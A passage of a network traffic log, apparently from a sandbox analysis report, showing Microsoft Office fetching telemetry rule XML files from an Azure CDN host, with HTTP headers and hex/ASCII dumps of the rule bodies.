2024-11-15 12:18:21 UTC	494	IN	HTTP/1.1 200 OK Date: Fri, 15 Nov 2024 12:18:21 GMT Content-Type: text/xml Content-Length: 3788 Connection: close Vary: Accept-Encoding Cache-Control: public, max-age=604800, immutable Last-Modified: Tue, 09 Apr 2024 00:26:17 GMT ETag: "0x8DC582BAC2126A6" x-ms-request-id: 053649b2-001e-00ad-26a0-34554b000000 x-ms-version: 2018-03-28 x-azure-ref: 20241115T121821Z-164f84587bfs5tz9hC1DFW9a3w00000001cg0000000054xh x-fd-int-roxy-purgeid: 0 X-Cache: TCP_HIT Accept-Ranges: bytes
2024-11-15 12:18:21 UTC	3788	IN	Data Raw: ef bb bf 3c 3f 78 6d 6c 20 76 65 72 73 69 6f 6e 3d 22 31 2e 30 22 20 65 6e 63 6f 64 69 6e 67 3d 22 75 74 66 2d 38 22 3f 3e 0d 0a 3c 52 20 49 64 3d 22 31 32 30 34 30 32 22 20 56 3d 22 32 31 22 20 44 43 3d 22 53 4d 22 20 45 4e 3d 22 4f 66 66 69 63 65 2e 53 79 73 74 65 6d 2e 53 79 73 74 65 6d 48 65 61 6c 74 68 55 6e 67 72 61 63 65 66 75 6c 41 70 70 45 78 69 74 44 65 73 6b 74 6f 70 22 20 41 54 54 3d 22 63 64 38 33 36 36 32 36 36 31 31 63 34 63 61 61 61 38 66 63 35 62 32 65 37 32 38 65 65 38 31 64 2d 33 62 36 64 36 63 34 35 2d 36 33 37 37 2d 34 62 66 35 2d 39 37 39 32 2d 64 62 66 38 65 31 38 38 31 30 38 38 2d 37 35 32 31 22 20 53 50 3d 22 43 72 69 74 69 63 61 6c 43 65 6e 73 75 73 22 20 44 4c 3d 22 41 22 20 44 43 61 3d 22 50 53 50 22 20 78 6d 6c 6e 73 3d 22 22 Data Ascii: <?xml version="1.0" encoding="utf-8"?><R Id="120402" V="21" DC="SM" EN="Office.System.SystemHealthUngracefulAppExitDesktop" ATT="cd836626611c4caaa8fc5b2e728ee81d-3b6d6c45-6377-4bf5-9792-dbf8e1881088-7521" SP="CriticalCensus" DL="A" DCa="PSP" xmlns=""

Session ID	Source IP	Source Port	Destination IP	Destination Port
11	192.168.2.7	49709	13.107.246.45	443

Timestamp	Bytes transferred	Direction	Data
2024-11-15 12:18:21 UTC	192	OUT	GET /rules/rule224902v2s19.xml HTTP/1.1 Connection: Keep-Alive Accept-Encoding: gzip User-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro) Host: otelrules.azureedge.net
2024-11-15 12:18:21 UTC	470	IN	HTTP/1.1 200 OK Date: Fri, 15 Nov 2024 12:18:21 GMT Content-Type: text/xml Content-Length: 450 Connection: close Cache-Control: public, max-age=604800, immutable Last-Modified: Tue, 09 Apr 2024 00:27:25 GMT ETag: "0x8DC582BD4C869AE" x-ms-request-id: a31f2de1-f01e-0096-7209-2d10ef000000 x-ms-version: 2018-03-28 x-azure-ref: 20241115T121821Z-16547b76f7f8dwtrhC1DFWd1zn0000000n4g00000000e00w x-fd-int-roxy-purgeid: 0 X-Cache: TCP_HIT Accept-Ranges: bytes
2024-11-15 12:18:21 UTC	450	IN	Data Raw: ef bb bf 3c 3f 78 6d 6c 20 76 65 72 73 69 6f 6e 3d 22 31 2e 30 22 20 65 6e 63 6f 64 69 6e 67 3d 22 75 74 66 2d 38 22 3f 3e 0d 0a 3c 52 20 49 64 3d 22 32 32 34 39 30 32 22 20 56 3d 22 32 22 20 44 43 3d 22 53 4d 22 20 54 3d 22 53 75 62 72 75 6c 65 22 20 78 6d 6c 6e 73 3d 22 22 3e 0d 0a 20 20 3c 53 3e 0d 0a 20 20 20 20 3c 52 20 54 3d 22 31 22 20 52 3d 22 31 32 30 31 30 30 22 20 2f 3e 0d 0a 20 20 20 20 3c 55 54 53 20 54 3d 22 32 22 20 49 64 3d 22 62 62 72 35 71 22 20 2f 3e 0d 0a 20 20 20 20 3c 53 53 20 54 3d 22 33 22 20 47 3d 22 7b 61 33 36 61 39 37 30 64 2d 34 35 61 39 2d 34 65 30 64 2d 39 63 61 62 2d 32 61 32 33 35 63 63 39 64 37 63 36 7d 22 20 2f 3e 0d 0a 20 20 3c 2f 53 3e 0d 0a 20 20 3c 43 20 54 3d 22 47 22 20 49 3d 22 30 22 20 4f 3d 22 66 61 6c 73 65 4e Data Ascii: <?xml version="1.0" encoding="utf-8"?><R Id="224902" V="2" DC="SM" T="Subrule" xmlns=""> <S> <R T="1" R="120100" /> <UTS T="2" Id="bbr5q" /> <SS T="3" G="{a36a970d-45a9-4e0d-9cab-2a235cc9d7c6}" /> </S> <C T="G" I="0" O="falseN

Session ID	Source IP	Source Port	Destination IP	Destination Port
12	192.168.2.7	49712	13.107.246.45	443

Timestamp	Bytes transferred	Direction	Data
2024-11-15 12:18:21 UTC	192	OUT	GET /rules/rule120609v0s19.xml HTTP/1.1 Connection: Keep-Alive Accept-Encoding: gzip User-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro) Host: otelrules.azureedge.net
2024-11-15 12:18:21 UTC	470	IN	HTTP/1.1 200 OK Date: Fri, 15 Nov 2024 12:18:21 GMT Content-Type: text/xml Content-Length: 408 Connection: close Cache-Control: public, max-age=604800, immutable Last-Modified: Tue, 09 Apr 2024 00:26:33 GMT ETag: "0x8DC582BB56D3AFB" x-ms-request-id: 6c84f393-101e-007a-65a5-36047e000000 x-ms-version: 2018-03-28 x-azure-ref: 20241115T121821Z-16547b76f7fbkfmzhC1DFWm9tw00000000x0000000008prv x-fd-int-roxy-purgeid: 0 X-Cache: TCP_HIT Accept-Ranges: bytes
2024-11-15 12:18:21 UTC	408	IN	Data Raw: ef bb bf 3c 3f 78 6d 6c 20 76 65 72 73 69 6f 6e 3d 22 31 2e 30 22 20 65 6e 63 6f 64 69 6e 67 3d 22 75 74 66 2d 38 22 3f 3e 0d 0a 3c 52 20 49 64 3d 22 31 32 30 36 30 39 22 20 56 3d 22 30 22 20 44 43 3d 22 53 4d 22 20 54 3d 22 53 75 62 72 75 6c 65 22 20 78 6d 6c 6e 73 3d 22 22 3e 0d 0a 20 20 3c 53 3e 0d 0a 20 20 20 20 3c 52 20 54 3d 22 31 22 20 52 3d 22 31 32 30 36 38 32 22 20 2f 3e 0d 0a 20 20 20 20 3c 53 52 20 54 3d 22 32 22 20 52 3d 22 5e 28 5b 44 64 5d 5b 45 65 5d 5b 4c 6c 5d 5b 4c 6c 5d 29 22 3e 0d 0a 20 20 20 20 20 20 3c 53 20 54 3d 22 31 22 20 46 3d 22 30 22 20 4d 3d 22 49 67 6e 6f 72 65 22 20 2f 3e 0d 0a 20 20 20 20 3c 2f 53 52 3e 0d 0a 20 20 3c 2f 53 3e 0d 0a 20 20 3c 43 20 54 3d 22 57 22 20 49 3d 22 30 22 20 4f 3d 22 74 72 75 65 22 3e 0d 0a 20 20 Data Ascii: <?xml version="1.0" encoding="utf-8"?><R Id="120609" V="0" DC="SM" T="Subrule" xmlns=""> <S> <R T="1" R="120682" /> <SR T="2" R="^([Dd][Ee][Ll][Ll])"> <S T="1" F="0" M="Ignore" /> </SR> </S> <C T="W" I="0" O="true">

Session ID	Source IP	Source Port	Destination IP	Destination Port
13	192.168.2.7	49714	13.107.246.45	443

Timestamp	Bytes transferred	Direction	Data
2024-11-15 12:18:22 UTC	192	OUT	GET /rules/rule120611v0s19.xml HTTP/1.1 Connection: Keep-Alive Accept-Encoding: gzip User-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro) Host: otelrules.azureedge.net
2024-11-15 12:18:22 UTC	470	IN	HTTP/1.1 200 OK Date: Fri, 15 Nov 2024 12:18:22 GMT Content-Type: text/xml Content-Length: 415 Connection: close Cache-Control: public, max-age=604800, immutable Last-Modified: Tue, 09 Apr 2024 00:25:56 GMT ETag: "0x8DC582B9F6F3512" x-ms-request-id: 48bb68ea-401e-0016-35ff-2c53e0000000 x-ms-version: 2018-03-28 x-azure-ref: 20241115T121822Z-16547b76f7frbg6bhC1DFWr5400000000mz000000000bp0m x-fd-int-roxy-purgeid: 0 X-Cache: TCP_HIT Accept-Ranges: bytes
2024-11-15 12:18:22 UTC	415	IN	Data Raw: ef bb bf 3c 3f 78 6d 6c 20 76 65 72 73 69 6f 6e 3d 22 31 2e 30 22 20 65 6e 63 6f 64 69 6e 67 3d 22 75 74 66 2d 38 22 3f 3e 0d 0a 3c 52 20 49 64 3d 22 31 32 30 36 31 31 22 20 56 3d 22 30 22 20 44 43 3d 22 53 4d 22 20 54 3d 22 53 75 62 72 75 6c 65 22 20 78 6d 6c 6e 73 3d 22 22 3e 0d 0a 20 20 3c 53 3e 0d 0a 20 20 20 20 3c 52 20 54 3d 22 31 22 20 52 3d 22 31 32 30 36 30 39 22 20 2f 3e 0d 0a 20 20 20 20 3c 53 52 20 54 3d 22 32 22 20 52 3d 22 28 5b 4c 6c 5d 5b 45 65 5d 5b 4e 6e 5d 5b 4f 6f 5d 5b 56 76 5d 5b 4f 6f 5d 29 22 3e 0d 0a 20 20 20 20 20 20 3c 53 20 54 3d 22 31 22 20 46 3d 22 31 22 20 4d 3d 22 49 67 6e 6f 72 65 22 20 2f 3e 0d 0a 20 20 20 20 3c 2f 53 52 3e 0d 0a 20 20 3c 2f 53 3e 0d 0a 20 20 3c 43 20 54 3d 22 57 22 20 49 3d 22 30 22 20 4f 3d 22 74 72 75 Data Ascii: <?xml version="1.0" encoding="utf-8"?><R Id="120611" V="0" DC="SM" T="Subrule" xmlns=""> <S> <R T="1" R="120609" /> <SR T="2" R="([Ll][Ee][Nn][Oo][Vv][Oo])"> <S T="1" F="1" M="Ignore" /> </SR> </S> <C T="W" I="0" O="tru

Session ID	Source IP	Source Port	Destination IP	Destination Port
14	192.168.2.7	49713	13.107.246.45	443

Timestamp	Bytes transferred	Direction	Data
2024-11-15 12:18:22 UTC	192	OUT	GET /rules/rule120610v0s19.xml HTTP/1.1 Connection: Keep-Alive Accept-Encoding: gzip User-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro) Host: otelrules.azureedge.net
2024-11-15 12:18:22 UTC	470	IN	HTTP/1.1 200 OK Date: Fri, 15 Nov 2024 12:18:22 GMT Content-Type: text/xml Content-Length: 474 Connection: close Cache-Control: public, max-age=604800, immutable Last-Modified: Tue, 09 Apr 2024 00:25:46 GMT ETag: "0x8DC582B9964B277" x-ms-request-id: ee786005-101e-0065-140e-2d4088000000 x-ms-version: 2018-03-28 x-azure-ref: 20241115T121822Z-16547b76f7fw2955hC1DFWsptc00000001s00000000092p1 x-fd-int-roxy-purgeid: 0 X-Cache: TCP_HIT Accept-Ranges: bytes
2024-11-15 12:18:22 UTC	474	IN	Data Raw: ef bb bf 3c 3f 78 6d 6c 20 76 65 72 73 69 6f 6e 3d 22 31 2e 30 22 20 65 6e 63 6f 64 69 6e 67 3d 22 75 74 66 2d 38 22 3f 3e 0d 0a 3c 52 20 49 64 3d 22 31 32 30 36 31 30 22 20 56 3d 22 30 22 20 44 43 3d 22 53 4d 22 20 54 3d 22 53 75 62 72 75 6c 65 22 20 78 6d 6c 6e 73 3d 22 22 3e 0d 0a 20 20 3c 53 3e 0d 0a 20 20 20 20 3c 52 20 54 3d 22 31 22 20 52 3d 22 31 32 30 36 30 39 22 20 2f 3e 0d 0a 20 20 20 20 3c 54 48 20 54 3d 22 32 22 3e 0d 0a 20 20 20 20 20 20 3c 4f 20 54 3d 22 45 51 22 3e 0d 0a 20 20 20 20 20 20 20 20 3c 4c 3e 0d 0a 20 20 20 20 20 20 20 20 20 20 3c 55 20 54 3d 22 45 71 75 61 6c 73 4e 75 6c 6c 22 3e 0d 0a 20 20 20 20 20 20 20 20 20 20 20 20 3c 53 20 54 3d 22 31 22 20 46 3d 22 30 22 20 4d 3d 22 49 67 6e 6f 72 65 22 20 2f 3e 0d 0a 20 20 20 20 20 20 Data Ascii: <?xml version="1.0" encoding="utf-8"?><R Id="120610" V="0" DC="SM" T="Subrule" xmlns=""> <S> <R T="1" R="120609" /> <TH T="2"> <O T="EQ"> <L> <U T="EqualsNull"> <S T="1" F="0" M="Ignore" />

Session ID	Source IP	Source Port	Destination IP	Destination Port
15	192.168.2.7	49715	13.107.246.45	443

Timestamp	Bytes transferred	Direction	Data
2024-11-15 12:18:22 UTC	192	OUT	GET /rules/rule120612v0s19.xml HTTP/1.1 Connection: Keep-Alive Accept-Encoding: gzip User-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro) Host: otelrules.azureedge.net
2024-11-15 12:18:22 UTC	470	IN	HTTP/1.1 200 OK Date: Fri, 15 Nov 2024 12:18:22 GMT Content-Type: text/xml Content-Length: 471 Connection: close Cache-Control: public, max-age=604800, immutable Last-Modified: Tue, 09 Apr 2024 00:26:25 GMT ETag: "0x8DC582BB10C598B" x-ms-request-id: a427850a-601e-0097-52af-36f33a000000 x-ms-version: 2018-03-28 x-azure-ref: 20241115T121822Z-16547b76f7fx6rhxhC1DFW76kg0000000n1000000000c50k x-fd-int-roxy-purgeid: 0 X-Cache: TCP_HIT Accept-Ranges: bytes
2024-11-15 12:18:22 UTC	471	IN	Data Raw: ef bb bf 3c 3f 78 6d 6c 20 76 65 72 73 69 6f 6e 3d 22 31 2e 30 22 20 65 6e 63 6f 64 69 6e 67 3d 22 75 74 66 2d 38 22 3f 3e 0d 0a 3c 52 20 49 64 3d 22 31 32 30 36 31 32 22 20 56 3d 22 30 22 20 44 43 3d 22 53 4d 22 20 54 3d 22 53 75 62 72 75 6c 65 22 20 78 6d 6c 6e 73 3d 22 22 3e 0d 0a 20 20 3c 53 3e 0d 0a 20 20 20 20 3c 52 20 54 3d 22 31 22 20 52 3d 22 31 32 30 36 31 31 22 20 2f 3e 0d 0a 20 20 20 20 3c 54 48 20 54 3d 22 32 22 3e 0d 0a 20 20 20 20 20 20 3c 4f 20 54 3d 22 45 51 22 3e 0d 0a 20 20 20 20 20 20 20 20 3c 4c 3e 0d 0a 20 20 20 20 20 20 20 20 20 20 3c 55 20 54 3d 22 45 71 75 61 6c 73 4e 75 6c 6c 22 3e 0d 0a 20 20 20 20 20 20 20 20 20 20 20 20 3c 53 20 54 3d 22 31 22 20 46 3d 22 30 22 20 4d 3d 22 49 67 6e 6f 72 65 22 20 2f 3e 0d 0a 20 20 20 20 20 20 Data Ascii: <?xml version="1.0" encoding="utf-8"?><R Id="120612" V="0" DC="SM" T="Subrule" xmlns=""> <S> <R T="1" R="120611" /> <TH T="2"> <O T="EQ"> <L> <U T="EqualsNull"> <S T="1" F="0" M="Ignore" />

Session ID	Source IP	Source Port	Destination IP	Destination Port
16	192.168.2.7	49716	13.107.246.45	443

Timestamp	Bytes transferred	Direction	Data
2024-11-15 12:18:22 UTC	192	OUT	GET /rules/rule120613v0s19.xml HTTP/1.1 Connection: Keep-Alive Accept-Encoding: gzip User-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro) Host: otelrules.azureedge.net
2024-11-15 12:18:22 UTC	470	IN	HTTP/1.1 200 OK Date: Fri, 15 Nov 2024 12:18:22 GMT Content-Type: text/xml Content-Length: 632 Connection: close Cache-Control: public, max-age=604800, immutable Last-Modified: Tue, 09 Apr 2024 00:26:35 GMT ETag: "0x8DC582BB6E3779E" x-ms-request-id: c134a622-501e-008c-78af-36cd39000000 x-ms-version: 2018-03-28 x-azure-ref: 20241115T121822Z-16547b76f7f67wxlhC1DFWah9w0000000n20000000009qky x-fd-int-roxy-purgeid: 0 X-Cache: TCP_HIT Accept-Ranges: bytes
2024-11-15 12:18:22 UTC	632	IN	Data Raw: ef bb bf 3c 3f 78 6d 6c 20 76 65 72 73 69 6f 6e 3d 22 31 2e 30 22 20 65 6e 63 6f 64 69 6e 67 3d 22 75 74 66 2d 38 22 3f 3e 0d 0a 3c 52 20 49 64 3d 22 31 32 30 36 31 33 22 20 56 3d 22 30 22 20 44 43 3d 22 53 4d 22 20 54 3d 22 53 75 62 72 75 6c 65 22 20 78 6d 6c 6e 73 3d 22 22 3e 0d 0a 20 20 3c 53 3e 0d 0a 20 20 20 20 3c 52 20 54 3d 22 31 22 20 52 3d 22 31 32 30 36 31 31 22 20 2f 3e 0d 0a 20 20 20 20 3c 53 52 20 54 3d 22 32 22 20 52 3d 22 5e 28 5b 48 68 5d 5b 50 70 5d 28 5b 5e 45 5d 7c 24 29 29 22 3e 0d 0a 20 20 20 20 20 20 3c 53 20 54 3d 22 31 22 20 46 3d 22 31 22 20 4d 3d 22 49 67 6e 6f 72 65 22 20 2f 3e 0d 0a 20 20 20 20 3c 2f 53 52 3e 0d 0a 20 20 20 20 3c 53 52 20 54 3d 22 33 22 20 52 3d 22 28 5b 48 68 5d 5b 45 65 5d 5b 57 77 5d 5b 4c 6c 5d 5b 45 65 5d Data Ascii: <?xml version="1.0" encoding="utf-8"?><R Id="120613" V="0" DC="SM" T="Subrule" xmlns=""> <S> <R T="1" R="120611" /> <SR T="2" R="^([Hh][Pp]([^E]\|$))"> <S T="1" F="1" M="Ignore" /> </SR> <SR T="3" R="([Hh][Ee][Ww][Ll][Ee]

Session ID	Source IP	Source Port	Destination IP	Destination Port
17	192.168.2.7	49717	13.107.246.45	443

Timestamp	Bytes transferred	Direction	Data
2024-11-15 12:18:22 UTC	192	OUT	GET /rules/rule120614v0s19.xml HTTP/1.1 Connection: Keep-Alive Accept-Encoding: gzip User-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro) Host: otelrules.azureedge.net
2024-11-15 12:18:22 UTC	470	IN	HTTP/1.1 200 OK Date: Fri, 15 Nov 2024 12:18:22 GMT Content-Type: text/xml Content-Length: 467 Connection: close Cache-Control: public, max-age=604800, immutable Last-Modified: Tue, 09 Apr 2024 00:26:08 GMT ETag: "0x8DC582BA6C038BC" x-ms-request-id: 26f02031-c01e-0046-42fb-362db9000000 x-ms-version: 2018-03-28 x-azure-ref: 20241115T121822Z-164f84587bft9l9khC1DFW32rc000000017g000000007u2s x-fd-int-roxy-purgeid: 0 X-Cache: TCP_HIT Accept-Ranges: bytes
2024-11-15 12:18:22 UTC	467	IN	Data Raw: ef bb bf 3c 3f 78 6d 6c 20 76 65 72 73 69 6f 6e 3d 22 31 2e 30 22 20 65 6e 63 6f 64 69 6e 67 3d 22 75 74 66 2d 38 22 3f 3e 0d 0a 3c 52 20 49 64 3d 22 31 32 30 36 31 34 22 20 56 3d 22 30 22 20 44 43 3d 22 53 4d 22 20 54 3d 22 53 75 62 72 75 6c 65 22 20 78 6d 6c 6e 73 3d 22 22 3e 0d 0a 20 20 3c 53 3e 0d 0a 20 20 20 20 3c 52 20 54 3d 22 31 22 20 52 3d 22 31 32 30 36 31 33 22 20 2f 3e 0d 0a 20 20 20 20 3c 54 48 20 54 3d 22 32 22 3e 0d 0a 20 20 20 20 20 20 3c 4f 20 54 3d 22 45 51 22 3e 0d 0a 20 20 20 20 20 20 20 20 3c 4c 3e 0d 0a 20 20 20 20 20 20 20 20 20 20 3c 55 20 54 3d 22 45 71 75 61 6c 73 4e 75 6c 6c 22 3e 0d 0a 20 20 20 20 20 20 20 20 20 20 20 20 3c 53 20 54 3d 22 31 22 20 46 3d 22 30 22 20 4d 3d 22 49 67 6e 6f 72 65 22 20 2f 3e 0d 0a 20 20 20 20 20 20 Data Ascii: <?xml version="1.0" encoding="utf-8"?><R Id="120614" V="0" DC="SM" T="Subrule" xmlns=""> <S> <R T="1" R="120613" /> <TH T="2"> <O T="EQ"> <L> <U T="EqualsNull"> <S T="1" F="0" M="Ignore" />

Session ID	Source IP	Source Port	Destination IP	Destination Port
18	192.168.2.7	49722	13.107.246.45	443

Timestamp	Bytes transferred	Direction	Data
2024-11-15 12:18:23 UTC	192	OUT	GET /rules/rule120618v0s19.xml HTTP/1.1 Connection: Keep-Alive Accept-Encoding: gzip User-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro) Host: otelrules.azureedge.net
2024-11-15 12:18:23 UTC	491	IN	HTTP/1.1 200 OK Date: Fri, 15 Nov 2024 12:18:23 GMT Content-Type: text/xml Content-Length: 486 Connection: close Cache-Control: public, max-age=604800, immutable Last-Modified: Tue, 09 Apr 2024 00:25:30 GMT ETag: "0x8DC582B9018290B" x-ms-request-id: def873b9-d01e-0065-46f7-2cb77a000000 x-ms-version: 2018-03-28 x-azure-ref: 20241115T121823Z-16547b76f7fkf5v9hC1DFW2y5s000000011g00000000ecrz x-fd-int-roxy-purgeid: 0 X-Cache-Info: L1_T2 X-Cache: TCP_HIT Accept-Ranges: bytes
2024-11-15 12:18:23 UTC	486	IN	Data Raw: ef bb bf 3c 3f 78 6d 6c 20 76 65 72 73 69 6f 6e 3d 22 31 2e 30 22 20 65 6e 63 6f 64 69 6e 67 3d 22 75 74 66 2d 38 22 3f 3e 0d 0a 3c 52 20 49 64 3d 22 31 32 30 36 31 38 22 20 56 3d 22 30 22 20 44 43 3d 22 53 4d 22 20 54 3d 22 53 75 62 72 75 6c 65 22 20 78 6d 6c 6e 73 3d 22 22 3e 0d 0a 20 20 3c 53 3e 0d 0a 20 20 20 20 3c 52 20 54 3d 22 31 22 20 52 3d 22 31 32 30 36 31 37 22 20 2f 3e 0d 0a 20 20 20 20 3c 54 48 20 54 3d 22 32 22 3e 0d 0a 20 20 20 20 20 20 3c 4f 20 54 3d 22 45 51 22 3e 0d 0a 20 20 20 20 20 20 20 20 3c 4c 3e 0d 0a 20 20 20 20 20 20 20 20 20 20 3c 55 20 54 3d 22 45 71 75 61 6c 73 4e 75 6c 6c 22 3e 0d 0a 20 20 20 20 20 20 20 20 20 20 20 20 3c 53 20 54 3d 22 31 22 20 46 3d 22 30 22 20 4d 3d 22 49 67 6e 6f 72 65 22 20 2f 3e 0d 0a 20 20 20 20 20 20 Data Ascii: <?xml version="1.0" encoding="utf-8"?><R Id="120618" V="0" DC="SM" T="Subrule" xmlns=""> <S> <R T="1" R="120617" /> <TH T="2"> <O T="EQ"> <L> <U T="EqualsNull"> <S T="1" F="0" M="Ignore" />

Session ID	Source IP	Source Port	Destination IP	Destination Port
19	192.168.2.7	49718	13.107.246.45	443

Timestamp	Bytes transferred	Direction	Data
2024-11-15 12:18:23 UTC	192	OUT	GET /rules/rule120615v0s19.xml HTTP/1.1 Connection: Keep-Alive Accept-Encoding: gzip User-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro) Host: otelrules.azureedge.net
2024-11-15 12:18:23 UTC	470	IN	HTTP/1.1 200 OK Date: Fri, 15 Nov 2024 12:18:23 GMT Content-Type: text/xml Content-Length: 407 Connection: close Cache-Control: public, max-age=604800, immutable Last-Modified: Tue, 09 Apr 2024 00:26:42 GMT ETag: "0x8DC582BBAD04B7B" x-ms-request-id: 2e71ae26-601e-0097-6701-2df33a000000 x-ms-version: 2018-03-28 x-azure-ref: 20241115T121823Z-16547b76f7fd4rc5hC1DFWkzhw00000001p0000000002hd3 x-fd-int-roxy-purgeid: 0 X-Cache: TCP_HIT Accept-Ranges: bytes
2024-11-15 12:18:23 UTC	407	IN	Data Raw: ef bb bf 3c 3f 78 6d 6c 20 76 65 72 73 69 6f 6e 3d 22 31 2e 30 22 20 65 6e 63 6f 64 69 6e 67 3d 22 75 74 66 2d 38 22 3f 3e 0d 0a 3c 52 20 49 64 3d 22 31 32 30 36 31 35 22 20 56 3d 22 30 22 20 44 43 3d 22 53 4d 22 20 54 3d 22 53 75 62 72 75 6c 65 22 20 78 6d 6c 6e 73 3d 22 22 3e 0d 0a 20 20 3c 53 3e 0d 0a 20 20 20 20 3c 52 20 54 3d 22 31 22 20 52 3d 22 31 32 30 36 31 33 22 20 2f 3e 0d 0a 20 20 20 20 3c 53 52 20 54 3d 22 32 22 20 52 3d 22 28 5b 41 61 5d 5b 53 73 5d 5b 55 75 5d 5b 53 73 5d 29 22 3e 0d 0a 20 20 20 20 20 20 3c 53 20 54 3d 22 31 22 20 46 3d 22 31 22 20 4d 3d 22 49 67 6e 6f 72 65 22 20 2f 3e 0d 0a 20 20 20 20 3c 2f 53 52 3e 0d 0a 20 20 3c 2f 53 3e 0d 0a 20 20 3c 43 20 54 3d 22 57 22 20 49 3d 22 30 22 20 4f 3d 22 74 72 75 65 22 3e 0d 0a 20 20 20 Data Ascii: <?xml version="1.0" encoding="utf-8"?><R Id="120615" V="0" DC="SM" T="Subrule" xmlns=""> <S> <R T="1" R="120613" /> <SR T="2" R="([Aa][Ss][Uu][Ss])"> <S T="1" F="1" M="Ignore" /> </SR> </S> <C T="W" I="0" O="true">

Session ID	Source IP	Source Port	Destination IP	Destination Port
20	192.168.2.7	49719	13.107.246.45	443

Timestamp	Bytes transferred	Direction	Data
2024-11-15 12:18:23 UTC	192	OUT	GET /rules/rule120616v0s19.xml HTTP/1.1 Connection: Keep-Alive Accept-Encoding: gzip User-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro) Host: otelrules.azureedge.net
2024-11-15 12:18:23 UTC	470	IN	HTTP/1.1 200 OK Date: Fri, 15 Nov 2024 12:18:23 GMT Content-Type: text/xml Content-Length: 486 Connection: close Cache-Control: public, max-age=604800, immutable Last-Modified: Tue, 09 Apr 2024 00:26:29 GMT ETag: "0x8DC582BB344914B" x-ms-request-id: 52c466ac-c01e-007a-7901-2db877000000 x-ms-version: 2018-03-28 x-azure-ref: 20241115T121823Z-16547b76f7fd4rc5hC1DFWkzhw00000001g000000000bwht x-fd-int-roxy-purgeid: 0 X-Cache: TCP_HIT Accept-Ranges: bytes
2024-11-15 12:18:23 UTC	486	IN	Data Raw: ef bb bf 3c 3f 78 6d 6c 20 76 65 72 73 69 6f 6e 3d 22 31 2e 30 22 20 65 6e 63 6f 64 69 6e 67 3d 22 75 74 66 2d 38 22 3f 3e 0d 0a 3c 52 20 49 64 3d 22 31 32 30 36 31 36 22 20 56 3d 22 30 22 20 44 43 3d 22 53 4d 22 20 54 3d 22 53 75 62 72 75 6c 65 22 20 78 6d 6c 6e 73 3d 22 22 3e 0d 0a 20 20 3c 53 3e 0d 0a 20 20 20 20 3c 52 20 54 3d 22 31 22 20 52 3d 22 31 32 30 36 31 35 22 20 2f 3e 0d 0a 20 20 20 20 3c 54 48 20 54 3d 22 32 22 3e 0d 0a 20 20 20 20 20 20 3c 4f 20 54 3d 22 45 51 22 3e 0d 0a 20 20 20 20 20 20 20 20 3c 4c 3e 0d 0a 20 20 20 20 20 20 20 20 20 20 3c 55 20 54 3d 22 45 71 75 61 6c 73 4e 75 6c 6c 22 3e 0d 0a 20 20 20 20 20 20 20 20 20 20 20 20 3c 53 20 54 3d 22 31 22 20 46 3d 22 30 22 20 4d 3d 22 49 67 6e 6f 72 65 22 20 2f 3e 0d 0a 20 20 20 20 20 20 Data Ascii: <?xml version="1.0" encoding="utf-8"?><R Id="120616" V="0" DC="SM" T="Subrule" xmlns=""> <S> <R T="1" R="120615" /> <TH T="2"> <O T="EQ"> <L> <U T="EqualsNull"> <S T="1" F="0" M="Ignore" />

Session ID	Source IP	Source Port	Destination IP	Destination Port
21	192.168.2.7	49720	13.107.246.45	443

Timestamp	Bytes transferred	Direction	Data
2024-11-15 12:18:23 UTC	192	OUT	GET /rules/rule120617v0s19.xml HTTP/1.1 Connection: Keep-Alive Accept-Encoding: gzip User-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro) Host: otelrules.azureedge.net
2024-11-15 12:18:23 UTC	470	IN	HTTP/1.1 200 OK Date: Fri, 15 Nov 2024 12:18:23 GMT Content-Type: text/xml Content-Length: 427 Connection: close Cache-Control: public, max-age=604800, immutable Last-Modified: Tue, 09 Apr 2024 00:26:02 GMT ETag: "0x8DC582BA310DA18" x-ms-request-id: 06b39b0e-901e-00a0-53a2-346a6d000000 x-ms-version: 2018-03-28 x-azure-ref: 20241115T121823Z-1866b5c5fbbvqncjhC1DFW0gcw000000018g00000000a3w4 x-fd-int-roxy-purgeid: 0 X-Cache: TCP_HIT Accept-Ranges: bytes
2024-11-15 12:18:23 UTC	427	IN	Data Raw: ef bb bf 3c 3f 78 6d 6c 20 76 65 72 73 69 6f 6e 3d 22 31 2e 30 22 20 65 6e 63 6f 64 69 6e 67 3d 22 75 74 66 2d 38 22 3f 3e 0d 0a 3c 52 20 49 64 3d 22 31 32 30 36 31 37 22 20 56 3d 22 30 22 20 44 43 3d 22 53 4d 22 20 54 3d 22 53 75 62 72 75 6c 65 22 20 78 6d 6c 6e 73 3d 22 22 3e 0d 0a 20 20 3c 53 3e 0d 0a 20 20 20 20 3c 52 20 54 3d 22 31 22 20 52 3d 22 31 32 30 36 31 35 22 20 2f 3e 0d 0a 20 20 20 20 3c 53 52 20 54 3d 22 32 22 20 52 3d 22 28 5b 4d 6d 5d 5b 49 69 5d 5b 43 63 5d 5b 52 72 5d 5b 4f 6f 5d 5b 53 73 5d 5b 4f 6f 5d 5b 46 66 5d 5b 54 74 5d 29 22 3e 0d 0a 20 20 20 20 20 20 3c 53 20 54 3d 22 31 22 20 46 3d 22 31 22 20 4d 3d 22 49 67 6e 6f 72 65 22 20 2f 3e 0d 0a 20 20 20 20 3c 2f 53 52 3e 0d 0a 20 20 3c 2f 53 3e 0d 0a 20 20 3c 43 20 54 3d 22 57 22 20 Data Ascii: <?xml version="1.0" encoding="utf-8"?><R Id="120617" V="0" DC="SM" T="Subrule" xmlns=""> <S> <R T="1" R="120615" /> <SR T="2" R="([Mm][Ii][Cc][Rr][Oo][Ss][Oo][Ff][Tt])"> <S T="1" F="1" M="Ignore" /> </SR> </S> <C T="W"

Session ID	Source IP	Source Port	Destination IP	Destination Port
22	192.168.2.7	49721	13.107.246.45	443

Timestamp	Bytes transferred	Direction	Data
